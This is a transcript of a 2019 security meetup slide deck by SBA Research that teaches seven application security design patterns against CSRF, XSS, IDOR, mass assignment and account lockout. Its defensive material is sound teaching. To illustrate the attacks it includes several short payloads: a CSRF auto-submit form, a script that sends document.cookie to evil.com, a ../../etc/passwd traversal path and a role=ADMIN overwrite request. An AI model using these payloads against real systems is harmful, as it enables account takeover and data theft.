Upgrade to Pro — share decks privately, control downloads, hide ads and more …

7 Application Security Design Patterns You Shou...

7 Application Security Design Patterns You Should Know

Many well-known security vulnerabilities in web and mobile applications could be easily avoided if they were already accounted for in the design phase. Often enough, changing the application on the architecture level late in the development phase is cumbersome and results in overly complicated and barely maintainable solutions.

In this Meetup, we'll have a look at 6 application security design patterns that, if considered early, will make your life easier in terms of securing your application. Here are some of the goals that can be achieved with the discussed patterns:

- Easier centralized session and access management
- Mitigation of CSRF without the hassle of anti-CSRF tokens
- Making the integration of a Content Security Policy a breeze
- Effective defense in depth against missing object-level access control
- Mitigating arbitrary entity field overwrites by design
- Mitigating excessive data exposure by design
- Mitigating DoS through systematic user lock-out
- Device and session lists
- Notifications upon a login from a new device
- And more!

Thomas Konrad

August 01, 2019
Tweet

More Decks by Thomas Konrad

Other Decks in Technology

Transcript

  1. Classification: Public 2 7 Application Security Design Patterns You Should

    Know Security Meetup by SBA Research 0x05 Thomas Konrad, SBA Research Vienna, August 1st, 2019 SBA Research gGmbH, 2019
  2. Classification: Public 3 SBA Research gGmbH, 2019 $ whoami Thomas

    Konrad $ id uid=123(tom) gid=0(SBA Research) gid=1(Software Security) gid=2(Penetration Testing) gid=3(Software Development) gid=4(Security Training)
  3. Classification: Public 5 Wordpress: Script Files Spread All Over SBA

    Research gGmbH, 2019 Image source: https://askubuntu.com/questions/179277/lamp-apache-not- accepting-index-php-files-and-displaying-directory-listing
  4. Classification: Public 6 Let’s Include Security some_page.php • That’s prone

    to errors! • The same goes for .jsp, .aspx, ... all web scripting languages with direct script access. SBA Research gGmbH, 2019 <?php include('session.php'); include('access_control.php'); include('api_request_limit.php'); // Meh
  5. Classification: Public 7 Pattern #1: Single Application Entry Point Pattern

    SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash B A S I C B A S I C
  6. Classification: Public 8 Mitigate The Problem By Design • Single

    Application Entry Point Pattern o Have a single entry point o Put all your source files out of the web root o Rewrite URLs to a single script o Some environments and frameworks do that automatically SBA Research gGmbH, 2019
  7. Classification: Public 9 Benefits of a Single Application Entry Point

    • Centralized session management • Centralized access control • Centralized API request limits • Centralized ... anything SBA Research gGmbH, 2019
  8. Classification: Public 11 What is CSRF? • Before we dive

    in, we need to clarify two terms in detail o Same-Origin Policy (SOP) o Implicit vs. explicit authentication 2019 - SBA Research gGmbH
  9. Classification: Public 12 What Is The Same-Origin Policy? The Same-Origin

    Policy is a security policy in web browsers that defines how a document or script of one Origin can interact with those of other Origins. 2019 - SBA Research gGmbH
  10. Classification: Public 13 Erm... Origin? URL http://store.company.com/dir2/other.html http://store.company.com/dir/inner/another.html https://store.company.com/secure.html http://store.company.com:81/dir/etc.html

    http://news.company.com/dir/other.html 2019 - SBA Research gGmbH Example: http://store.company.com/dir/page.html Result Reason OK OK NOK Different protocol NOK Different port NOK Different host Protocol, domain, and port must be equal!
  11. Classification: Public 14 SOP: What Is Allowed And What Is

    Not? • Cross-Origin writes are typically allowed o Links, redirects, form submissions • Cross-Origin embedding is typically allowed o Scripts, CSS, images • Cross-Origin reads are typically prohibited o But information is sometimes leaked: Image size, function in a script, availability of an embedded resource [1] 2019 - SBA Research gGmbH [1] https://www.grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information
  12. Classification: Public 15 Implicit vs. explicit authentication • Implicit authentication:

    Is automatically done by the browser at each request – even cross-origin! o Cookies o HTTP basic auth o TLS client certificates • Explicit authentication: Is done manually by the developer o Session token via header o Session token via body parameter o ... everything that’s not implicit 2019 - SBA Research gGmbH
  13. Classification: Public 16 CSRF: An Example SBA Research gGmbH, 2019

    https://bank.com view-source://attacker.com <html><body> <form action=https://bank.com method=POST id=maliciousform> <input type=text name=recipient value=attacker/> <input type=text name=amount value=1000000/> </form> <script> document.maliciousform.submit(); </script> Hello, Alice! Your transaction list Date Recipient Amount ... ... ... ... ... ... SESSIONID=el4ukv0kqbvoirg7nkp4dncpk3 bank.com Cookie Jar
  14. Classification: Public 17 A CSRF attack only works if the

    server accepts ... • write operations via GET, POST (or HEAD) • with standard HTML form content types o application/x-www-form-urlencoded o multipart/form-data o text/plain • and implicit authentication (e.g., cookies) • when no non-standard header is required. 2019 - SBA Research gGmbH Anything that can be done with an HTML form
  15. Classification: Public 18 Pattern #2: Custom Request Header Pattern SBA

    Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash B A S I C B A S I C S P A - O N L Y S P A - O N L Y
  16. Classification: Public 21 Making the Integration of a CSP a

    Breeze Pattern #3 SBA Research gGmbH, 2019
  17. Classification: Public 22 Content Security Policy “It's not a matter

    of if you will introduce an XSS vulnerability, but when.” Ben Vinegar, Disqus 2019 - SBA Research gGmbH
  18. Classification: Public 23 CSP: A Word Of Warning 1. CSP

    is not a solution for XSS! 2. CSP is only a defense in depth! 3. Correct Output encoding is the only solution. 2019 - SBA Research gGmbH
  19. Classification: Public 24 What is CSP? • New HTTP response

    header • Created for reducing XSS risk • Whitelist for dynamic resources 2019 - SBA Research gGmbH Content-Security-Policy: script-src 'self' cdn.example.com <script src="//cdn.example.com/jquery.min.js"></script> <script src="/js/app.js"></script> <script src="http://evil.com/pwnage.js"></script> Refused to load the script 'http://evil.com/pwnage.js' because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com".
  20. Classification: Public 25 CSP: Inline scripts are disabled by default

    2019 - SBA Research gGmbH Content-Security-Policy: script-src 'self' cdn.example.com Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com" <script>new Image('http://evil.com/?cookie=' + document.cookie);</script> • Also disallowed o Event handlers in attributes o Unsafe functions: eval(), setTimeout() and setInterval() with inline code, etc.
  21. Classification: Public 26 Pattern #3: External Dynamic Resources Pattern SBA

    Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D
  22. Classification: Public 27 Externalize All The Things! SBA Research gGmbH,

    2019 <script>var x = 1; /* ... */</script> <a href=javascript:someFunction()>Link</a> <div onclick=someFunction()></div> <td style="background-color: red;">Content</td> <script>setTimeout('someFunction()', 1000);</script> <script>setInterval('someFunction()', 1000);</script> <script>eval('someFunction()');</script>
  23. Classification: Public 28 Externalize All The Things! SBA Research gGmbH,

    2019 <script src="app.js"></script><!– Don’t use evil functions inside! --> <link rel="stylesheet" type="text/css" href="app.css"></link>
  24. Classification: Public 29 Now, a Strict CSP is Easily Possible

    SBA Research gGmbH, 2019 Content-Security-Policy: default-src 'self'; base-uri 'none'; report-uri 'https://csp.example.org';
  25. Classification: Public 31 Insecure Direct Object References SBA Research gGmbH,

    2019 https://example.com/profile/orders/3851 @Controller public class OrderController { @GetMapping("/api/v1/orders") public ModelAndView getOrderById(@RequestParam String id) { // ... this.throwUnlessUserLoggedIn(); // Check if there is a session Order order = orderRepository.find(id); return this.createView(order); } } GET /api/v1/shop/orders/<1-1000> HTTP/1.1 Host: example.com
  26. Classification: Public 32 Pattern #4: Random Object ID Pattern SBA

    Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D
  27. Classification: Public 33 Make All Object IDs Random! • Randomly

    generate object IDs! • Many frameworks database systems support this SBA Research gGmbH, 2019
  28. Classification: Public 34 A Word On UUIDs • UUID version

    1: Uses the current timestamp and the MAC address of the computer on which it was generated. • UUID version 2: Like version 1, except that the least significant 8 bits of the clock sequence are replaced by a "local domain" number. • UUID version 3 and 5: Version-3 and version-5 UUIDs are generated by hashing a namespace identifier and name. • UUID version 4: A version 4 UUID is randomly generated. It has an entropy of 122 bits. SBA Research gGmbH, 2019
  29. Classification: Public 35 Mitigating Arbitrary Entity Field Overwrites and Excessive

    Data Exposure by Design Pattern #5 SBA Research gGmbH, 2019
  30. Classification: Public 36 Problem 1/2: Arbitrary Overwrite SBA Research gGmbH,

    2019 PUT /api/v1/profile HTTP/1.1 Host: example.com name=Alice&address=1,+Example+Street&role=ADMIN
  31. Classification: Public 37 Problem 2/2: Excessive Exposure SBA Research gGmbH,

    2019 GET /api/v1/search-user?query=Alice HTTP/1.1 Host: example.com HTTP/1.1 200 OK Content-Type: application/json Content-Length: 3290 [ { name: 'Alice', password_hash: '0FAC322A...' }, { ... } ]
  32. Classification: Public 38 Pattern #5: Entity Field Whitelist Pattern SBA

    Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D
  33. Classification: Public 39 How Can We Solve That? • The

    idea: Use whitelists for input and output! • Input o Request Data Transfer Objects (Request DTOs) • Output o Response Data Transfer Objects (Response DTOs) o Serialization Whitelist and Groups SBA Research gGmbH, 2019
  34. Classification: Public 40 Data Transfer Objects (DTOs) SBA Research gGmbH,

    2019 Image source: http://www.servicedesignpatterns.com/RequestAndResponse Management/DataTransferObject
  35. Classification: Public 43 Problem: Validation Before C18N • Say you

    want a file path to always start with • Your file system canonicalizes ../ • You validate the input • An attacker could do SBA Research gGmbH, 2019 /var/www/public/uploads/ if (!path.startsWith('/var/www/public/uploads/') {/* Reject! */} /var/www/public/uploads/../../../../etc/passwd
  36. Classification: Public 44 Problem: Encoding Before Storing • Say you

    want to do encoding before storing • Problem o What if you have a different output format? o You must HTML-decode and do context-specific encoding again o That’s hardly maintainable! SBA Research gGmbH, 2019 String encodedName = HTMLEncoder.encode(name); user.setName(encodedName); entityManager.persist(user);
  37. Classification: Public 45 Problem: Code Input • When the input

    is code, validation is hard • Some parts of it are acceptable • We need to sanitize! o Don’t roll your own sanitizer! o Use a library! SBA Research gGmbH, 2019 Image source: https://www.sketchappsources.com/free- source/2963-WYSIWYG-Editor-template-sketch-freebie- resource.html
  38. Classification: Public 46 Pattern #6: Canonicalize, Validate, (Sanitize), Store, Encode

    Pattern SBA Research gGmbH, 2019 Photo by Fabian Grohs on Unsplash A D V A N C E D A D V A N C E D
  39. Classification: Public 47 Canonicalize, Validate, (Sanitize), Store, Encode SBA Research

    gGmbH, 2019 User Interface User Interface Application Code Application Code Storage Storage Store Store Context-sensitive Output Encoding Context-sensitive Output Encoding Canonicalize Canonicalize Validate Validate (Sanitize) (Sanitize) HTML, JSON, XML, CSV, Text, ... HTML, JSON, XML, CSV, Text, ...
  40. Classification: Public 49 A Basic User Account Threat Model Threat

    Severity1 C/I/A Countermeasures Password guessing High C/I/- (Temporary) user lockout, password policy, MFA, transparency (device lists and notifications, with Device Tokens) Account lockout Medium -/-/A Selective lockout (with Device Tokens) Misuse of known passwords (public lists, other apps, ...) Medium C/I/- MFA Someone dumps the DB on the Internet Medium C/I/- Proper hashes (Argon2) Enumerating valid user names Low C/-/- (Generic error messages, constant timing on all requests containing the user name) SBA Research gGmbH, 2019 1 The severity really depends on the classification of your data. Don’t see them as absolute and unchangeable values.
  41. Classification: Public 50 Password Guessing vs. Account Lockout • This

    is the hard part! • Do you know Hammer Head? SBA Research gGmbH, 2019 https://giphy.com/gifs/cuteness-Hnv3oVMOkmHiE
  42. Classification: Public 51 Preventing User Lockout: A Question Of Trust

    SBA Research gGmbH, 2019 Image source: https://www.supermarketguru.com/site/assets/files/6521/bakerycounter.jpg
  43. Classification: Public 54 Pattern #7: Device Token Pattern SBA Research

    gGmbH, 2019 Photo by Fabian Grohs on Unsplash S O P H I S T I C AT E D S O P H I S T I C AT E D
  44. Classification: Public 55 Device Tokens • Device Tokens in a

    nutshell o Catch successful login events o If this is a new device – Issue a Device Token – Send a notification (as you saw before) o The token must be long-running! o Connect the new session to it o Store source IP, user agent, first access, last access SBA Research gGmbH, 2019
  45. Classification: Public 58 Preventing User Lockout: The Pareto Principle •

    You can save most users from being locked out • But not 100 %! • A note for apps with public registration forms o An attacker could register and issue themselves new device cookies via a script o Therefore: Count failed login attempts also for users and hard-lock them in case they’re attacking SBA Research gGmbH, 2019
  46. Classification: Public 59 Device Tokens • Device Tokens enable us

    to do tons of great things o List devices (transparency!) o Notifications upon a login from a new device (transparency!) o Remember MFA for specific devices o Remember previously logged-in users o Slow down password guessing o ... • They are a must-have for good account security! SBA Research gGmbH, 2019
  47. Classification: Public 60 Summary • Pattern #1: Single Application Entry

    Point Pattern • Pattern #2: Custom Request Header Pattern • Pattern #3: External Dynamic Resources Pattern • Pattern #4: Random Object ID Pattern • Pattern #5: Entity Field Whitelist Pattern • Pattern #6: Canonicalize, Validate, (Sanitize), Store, Encode Pattern • Pattern #7: Device Token Pattern SBA Research gGmbH, 2019
  48. Classification: Public 61 OWASP API Security Top 10 (Draft) •

    A1:2019 Missing Object Level Access Control • A2:2019 Broken Authentication • A3:2019 Excessive Data Exposure • A4:2019 Lack of Resources & Rate Limiting • A5:2019 Missing Function/Resource Level Access Control • A6:2019 Mass Assignment • A7:2019 Security Misconfiguration • A8:2019 Injection • A9:2019 Improper Assets Management • A10:2019 Insufficient Logging & Monitoring SBA Research gGmbH, 2019
  49. Classification: Public 62 SBA Research gGmbH, 2019 Questions? Image source:

    https://giphy.com/gifs/reactionseditor-reaction-l0Iy8hSJalxmgTOF2
  50. Classification: Public 63 sec4dev Conference & Bootcamp • Security Conference

    & Bootcamp for developers • Feb 24 to 27, 2020 • TU Wien • https://sec4dev.io • @sec4dev
  51. Classification: Public 64 Next Meetup! SBA Research gGmbH, 2019 •

    Secure Credential Management with Vault in Kubernetes • September 4th, 2019 • SBA Research (Floragasse 7, Vienna) • Speaker: Alexander Bulyha • Please RSVP!
  52. Classification: Public 65 Thomas Konrad SBA Research gGmbH Floragasse 7,

    1040 Vienna [email protected] @_thomaskonrad 2019 - SBA Research gGmbH Photo by Kelly Sikkema on Unsplash